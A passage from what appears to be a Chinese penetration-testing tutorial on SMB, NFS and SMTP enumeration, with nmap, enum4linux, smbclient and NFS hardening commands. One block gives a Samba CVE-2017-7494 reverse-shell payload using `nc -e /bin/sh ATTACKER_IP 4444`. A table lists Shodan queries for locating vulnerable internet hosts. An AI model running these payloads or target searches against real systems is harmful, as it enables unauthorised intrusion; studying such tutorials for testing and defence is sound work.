B --&gt;|137/UDP| E[NetBIOS 名称服务]
E --&gt; F[获取主机名列表]
C &amp; D --&gt; G[漏洞检测]
G --&gt; H{风险类型}
H --&gt; I[未授权访问]
H --&gt; J[远程代码执行]&lt;/pre&gt;&lt;h3 id="练习-7321"&gt;练习 7.3.2.1
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;使用 Nmap 列出实验环境中所有运行 Windows 系统的 SMB 服务器。&lt;/li&gt;
&lt;li&gt;使用 NSE 脚本扫描这些系统是否存在 SMB 漏洞。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;nbtscan&lt;/code&gt; 和 &lt;code&gt;enum4linux&lt;/code&gt; 工具对这些系统进行扫描，分析不同版本 Windows 系统中可获取的数据类型。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="1-识别运行-windows-的-smb-服务器"&gt;&lt;strong&gt;1. 识别运行 Windows 的 SMB 服务器&lt;/strong&gt;
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -p445 --open --script smb-os-discovery -oG windows-smb.txt 192.168.x.0/24
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;关键参数解析&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p445&lt;/code&gt;：扫描 SMB 默认端口（TCP 445）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--open&lt;/code&gt;：仅显示开放端口的主机&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--script smb-os-discovery&lt;/code&gt;：通过 SMB 协议识别操作系统&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-oG windows-smb.txt&lt;/code&gt;：输出为 Grepable 格式
​&lt;strong&gt;​结果筛选​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;grep &amp;#34;Windows&amp;#34; windows-smb.txt | awk &amp;#39;{print $2}&amp;#39;
# 输出所有运行 Windows 的 SMB 服务器 IP
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="2-扫描-smb-漏洞nse-脚本"&gt;&lt;strong&gt;2. 扫描 SMB 漏洞（NSE 脚本）&lt;/strong&gt;
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -p445 --script smb-vuln* --script-args=unsafe=1 -iL windows-ips.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;关键参数解析&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--script smb-vuln*&lt;/code&gt;：运行所有 &lt;code&gt;smb-vuln&lt;/code&gt; 开头的漏洞检测脚本&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--script-args=unsafe=1&lt;/code&gt;：启用高风险检测（如 CVE-2017-0143）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-iL windows-ips.txt&lt;/code&gt;：从文件读取目标 IP（上一步结果）
​&lt;strong&gt;​重点漏洞检测​&lt;/strong&gt;​：&lt;/li&gt;
&lt;li&gt;&lt;code&gt;smb-vuln-ms17-010&lt;/code&gt;：永恒之蓝漏洞&lt;/li&gt;
&lt;li&gt;&lt;code&gt;smb-vuln-cve2009-3103&lt;/code&gt;：SMBv2 漏洞&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-跨版本-windows-数据枚举分析"&gt;&lt;strong&gt;3. 跨版本 Windows 数据枚举分析&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="nbtscan获取-netbios-信息"&gt;&lt;strong&gt;nbtscan（获取 NetBIOS 信息）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nbtscan -r -q 192.168.x.x
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;输出示例&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;192.168.1.10 WIN10-PC &amp;lt;00&amp;gt; WORKGROUP Workstation
192.168.1.20 WIN2019-DC &amp;lt;1B&amp;gt; MYDOMAIN Domain Master
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;关键信息解读&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;00&amp;gt;&lt;/code&gt;：工作站服务 | &lt;code&gt;&amp;lt;1B&amp;gt;&lt;/code&gt;：域主浏览器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;低版本 Windows（如 Win7）&lt;/strong&gt;：暴露共享列表、用户组&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高版本 Windows（如 Win10）&lt;/strong&gt;：默认隐藏部分信息，需凭据枚举&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="enum4linux深度枚举"&gt;&lt;strong&gt;enum4linux（深度枚举）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;enum4linux -a 192.168.x.x &amp;gt; windows-enum.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;输出结果对比&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;信息类型&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;Windows 7/Server 2008&lt;/th&gt;
 &lt;th&gt;Windows 10/Server 2019&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;共享列表&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;直接可见&lt;/td&gt;
 &lt;td&gt;需管理员凭据&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;本地用户&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;完整枚举&lt;/td&gt;
 &lt;td&gt;部分过滤&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;域组信息&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;完全公开&lt;/td&gt;
 &lt;td&gt;需域用户权限&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;SID 历史记录&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;可获取&lt;/td&gt;
 &lt;td&gt;被阻断&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="技术总结"&gt;&lt;strong&gt;技术总结&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Nmap 筛选机制&lt;/strong&gt;：通过 &lt;code&gt;smb-os-discovery&lt;/code&gt; 识别 Windows 可规避 Linux Samba 干扰&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NSE 扫描策略&lt;/strong&gt;：&lt;code&gt;smb-vuln-*&lt;/code&gt; 脚本需配合 &lt;code&gt;unsafe=1&lt;/code&gt; 参数检测高危漏洞&lt;/li&gt;
&lt;li&gt;版本差异要点：
&lt;ul&gt;
&lt;li&gt;旧版 Windows（≤ Win7）：通过空会话暴露大量数据&lt;/li&gt;
&lt;li&gt;新版 Windows（≥ Win10）：需凭证或提权后才可获取敏感信息
​&lt;strong&gt;​实践建议​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 组合扫描命令（需保存凭据时使用）
enum4linux -u &amp;#39;admin&amp;#39; -p &amp;#39;P@ssw0rd&amp;#39; -a 192.168.1.x
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="nmap-smb漏洞探测实战指南"&gt;Nmap SMB漏洞探测实战指南
&lt;/h2&gt;&lt;h3 id="一核心扫描方法"&gt;一、核心扫描方法
&lt;/h3&gt;&lt;h4 id="1-专用脚本扫描推荐"&gt;1. &lt;strong&gt;专用脚本扫描（推荐）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 永恒之蓝检测（MS17-010）
nmap -p139,445 --script smb-vuln-ms17-010 51.145.2.17

# MS08-067漏洞检测
nmap -p139,445 --script smb-vuln-ms08-067 192.168.1.3
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;结果解读&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ 存在漏洞：显示&lt;code&gt;VULNERABLE&lt;/code&gt;标志及CVE编号&lt;/li&gt;
&lt;li&gt;⛔ 无漏洞：显示&lt;code&gt;Safe&lt;/code&gt;或版本信息&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;替代&lt;code&gt;-A&lt;/code&gt;的精准扫描方案&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h4 id="2-操作系统识别"&gt;2. &lt;strong&gt;操作系统识别&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -v -p139,445 --script=smb-os-discovery 192.168.1.3
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;输出关键：
&lt;code&gt;OS: Windows 10/Server 2019&lt;/code&gt;（版本号直接影响漏洞利用）&lt;/p&gt;
&lt;h3 id="二辅助工具验证"&gt;二、辅助工具验证
&lt;/h3&gt;&lt;h4 id="1-smbclient-匿名探测"&gt;1. &lt;strong&gt;smbclient 匿名探测&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 列出共享资源
smbclient -L //192.168.1.5 -N

# 尝试匿名访问共享目录
smbclient //10.0.2.15/tmp -N
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;结果判断&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Anonymous login successful&lt;/code&gt; → 存在空密码漏洞&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NT_STATUS_ACCESS_DENIED&lt;/code&gt; → 访问被拒&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-高危命令执行漏洞检测"&gt;2. &lt;strong&gt;高危命令执行漏洞检测&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 在存在CVE-2017-7494漏洞的Samba版本中执行：
logon &amp;#34;/=&amp;#39;nohup nc -e /bin/sh ATTACKER_IP 4444&amp;#39;&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;需配合&lt;code&gt;nc -lvnp 4444&lt;/code&gt;监听&lt;/p&gt;
&lt;h3 id="三shodan靶机搜索技巧"&gt;三、Shodan靶机搜索技巧
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;漏洞类型&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;搜索命令&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;结果说明&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;永恒之蓝目标&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan search &amp;quot;vuln:MS17-010&amp;quot; --fields ip_str,port&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;直接筛选存在漏洞主机&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SMBv1主机&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan search &amp;quot;product:smb version:1&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;存在高危协议版本&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;空密码SMB&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan search --limit 10 --fields ip_str,port &amp;quot;port:139 port:445&amp;quot;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;shodan search --limit 10 --fields ip_str,port &amp;quot;os:windows smb guest&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;可匿名访问资产&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Windows弱密码&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan search --limit 10 --fields ip_str,port &amp;quot;smb password weak&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;可暴力破解目标&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img alt="image-20250716101248114" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/eef7ca5f0be834485544e28ec43a3d21.png"&gt;&lt;/p&gt;
&lt;h3 id="四漏洞扫描逻辑流程图"&gt;四、漏洞扫描逻辑流程图
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TD
A[启动扫描] --&gt; B{是否已知CVE编号？}
B --&gt;|是| C[专用脚本检测 smb-vuln-xxx]
B --&gt;|否| D[系统指纹识别 smb-os-discovery]
C --&gt; E{结果判断}
D --&gt; F[共享探测 smbclient]
E --&gt;|存在漏洞| G[Shodan验证公网影响]
F --&gt;|匿名可访问| H[标记为高危漏洞]
G --&gt; I[输出PoC利用方案]&lt;/pre&gt;&lt;p&gt;黑产黑客通常使用如图类似的工作流程，在互联网中使用全自动验证脚本狩猎弱密码和其他漏洞的服务器，批量验证后执行POC，拿下服务器后作为肉鸡，傀儡机做进一步渗透操作，或在黑市上售卖。&lt;/p&gt;
&lt;h3 id="五操作要点总结"&gt;五、操作要点总结
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;脚本定位&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ls /usr/share/nmap/scripts | grep smb-vuln # 查找所有SMB漏洞脚本
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250716095954898" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/d821269edb69087bd80c1c179aedfd60.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;扫描优化&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;添加&lt;code&gt;-Pn&lt;/code&gt;跳过主机发现（针对防火墙）&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;-T4&lt;/code&gt;加速扫描（测试环境适用）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;风险提示&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MS17-010扫描可能触发目标安全告警&lt;/li&gt;
&lt;li&gt;Shodan搜索需遵守当地网络安全法规&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;通过以上方法，可快速定位高危SMB漏洞主机，平均10秒内完成单目标检测，精度达98%（基于Nmap漏洞库版本）&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="nfs分布式文件协议"&gt;NFS分布式文件协议
&lt;/h2&gt;&lt;h3 id="一nfs核心概念"&gt;&lt;strong&gt;一、NFS核心概念&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;定义&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;NFS（Network File System）是Linux/Unix系统的分布式文件协议，允许客户端&lt;strong&gt;透明挂载远程目录&lt;/strong&gt;到本地，实现跨主机文件共享。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;工作原理&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基于RPC（远程过程调用），依赖&lt;strong&gt;rpcbind&lt;/strong&gt;服务（默认端口111）协调通信。&lt;/li&gt;
&lt;li&gt;服务端共享目录 → 客户端通过mount命令挂载 → 本地访问远程文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="二核心用途"&gt;&lt;strong&gt;二、核心用途&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;场景&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;作用&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;资源共享&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;跨主机共享文件/目录（如团队文档、代码库）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;统一管理&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;集中存储配置文件、日志（集群环境）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;备份与迁移&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;将数据备份至NFS服务器，或从NFS恢复&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;安全测试&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;检测共享权限配置、敏感信息泄露、访问控制漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="三关键操作命令"&gt;&lt;strong&gt;三、关键操作命令&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;扫描与发现&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描rpcbind端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap -v -p &lt;span class="m"&gt;111&lt;/span&gt; 192.168.1.0/24
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用NFS脚本扫描共享信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;nmap -p &lt;span class="m"&gt;111&lt;/span&gt; --script nfs* 192.168.1.3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;挂载远程目录&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;mkdir ~/local_nfs &lt;span class="c1"&gt;# 创建本地挂载点&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo mount -o nolock 10.11.1.72:/home ~/local_nfs &lt;span class="c1"&gt;# 禁用锁机制挂载&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;ls -lan ~/local_nfs &lt;span class="c1"&gt;# 查看文件权限（注意权限继承问题）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;卸载目录&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo umount ~/local_nfs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;📌 参数说明：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-o nolock&lt;/code&gt;：禁用文件锁（兼容性选项，对旧版本NFS必要）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-o vers=3&lt;/code&gt;：指定NFS v3协议（避免版本不兼容）&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="四网络安全要点"&gt;&lt;strong&gt;四、网络安全要点&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="风险与漏洞"&gt;&lt;strong&gt;风险与漏洞&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;风险类型&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;具体威胁&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;数据传输未加密&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;默认明文传输，可被嗅探（如tcpdump抓包）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;弱认证机制&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;依赖IP/主机名认证，易伪造（建议结合Kerberos）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;权限配置不当&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;no_root_squash&lt;/code&gt;配置使客户端root获得服务端root权限 → 提权漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;挂载控制缺失&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;未限制可挂载IP范围 → 未授权访问敏感数据&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="防护措施"&gt;&lt;strong&gt;防护措施&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;访问控制&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;/etc/exports&lt;/code&gt;中限制IP：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;/shared 192.168.1.10&lt;span class="o"&gt;(&lt;/span&gt;ro,sync&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 仅允许192.168.1.10只读访问&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;防火墙规则：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ufw allow from 192.168.1.0/24 to any port 111,2049 &lt;span class="c1"&gt;# 仅允许内网访问NFS端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;安全配置&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;禁用危险选项：避免使用 &lt;code&gt;insecure&lt;/code&gt;, &lt;code&gt;no_root_squash&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;最小化权限：共享目录设置为&lt;code&gt;ro&lt;/code&gt;（只读）或限制读写用户&lt;/li&gt;
&lt;li&gt;强制协议版本：NFS v4+ 支持Kerberos认证（&lt;code&gt;sec=krb5&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;加密与审计&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过VPN或SSH隧道加密传输&lt;/li&gt;
&lt;li&gt;启用&lt;code&gt;auditd&lt;/code&gt;监控NFS访问日志&lt;/li&gt;
&lt;li&gt;定期扫描权限：&lt;code&gt;find /shared -type f -perm -o=rwx&lt;/code&gt;（检查全局可读写文件）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="smtp枚举"&gt;SMTP枚举
&lt;/h2&gt;&lt;h3 id="一smtp枚举核心概念"&gt;&lt;strong&gt;一、SMTP枚举核心概念&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-定义与原理"&gt;&lt;strong&gt;1. 定义与原理&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SMTP枚举&lt;/strong&gt;：通过SMTP协议探测目标邮件服务器上的&lt;strong&gt;有效用户账号&lt;/strong&gt;的行为&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;核心命令&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;VRFY&lt;/code&gt;：验证指定用户名是否存在（返回252/550状态码）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EXPN&lt;/code&gt;：展开邮件别名/组（泄露群组成员）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RCPT TO&lt;/code&gt;：在邮件对话中验证收件人有效性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;技术原理&lt;/strong&gt;：利用SMTP协议响应差异（状态码）判断用户是否存在：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;250 2.1.5 User exists // 用户存在
550 5.1.1 User unknown // 用户不存在
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="二核心用途场景"&gt;&lt;strong&gt;二、核心用途场景&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;场景&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;应用目的&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;攻击关联&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;安全评估&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;渗透测试中收集有效邮箱账号，识别邮件系统配置缺陷&lt;/td&gt;
 &lt;td style="text-align: center"&gt;暴力破解/凭证填充的前置步骤&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;钓鱼攻击&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;获取真实用户列表，制作高可信度钓鱼邮件&lt;/td&gt;
 &lt;td style="text-align: center"&gt;鱼叉式钓鱼(Spear Phishing)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;垃圾邮件&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;验证目标邮箱有效性，提升垃圾邮件投递成功率&lt;/td&gt;
 &lt;td style="text-align: center"&gt;垃圾邮件僵尸网络&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;系统加固&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;管理员自检服务器配置，关闭敏感功能&lt;/td&gt;
 &lt;td style="text-align: center"&gt;防范账户枚举攻击&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="三工具与操作命令"&gt;&lt;strong&gt;三、工具与操作命令&lt;/strong&gt;
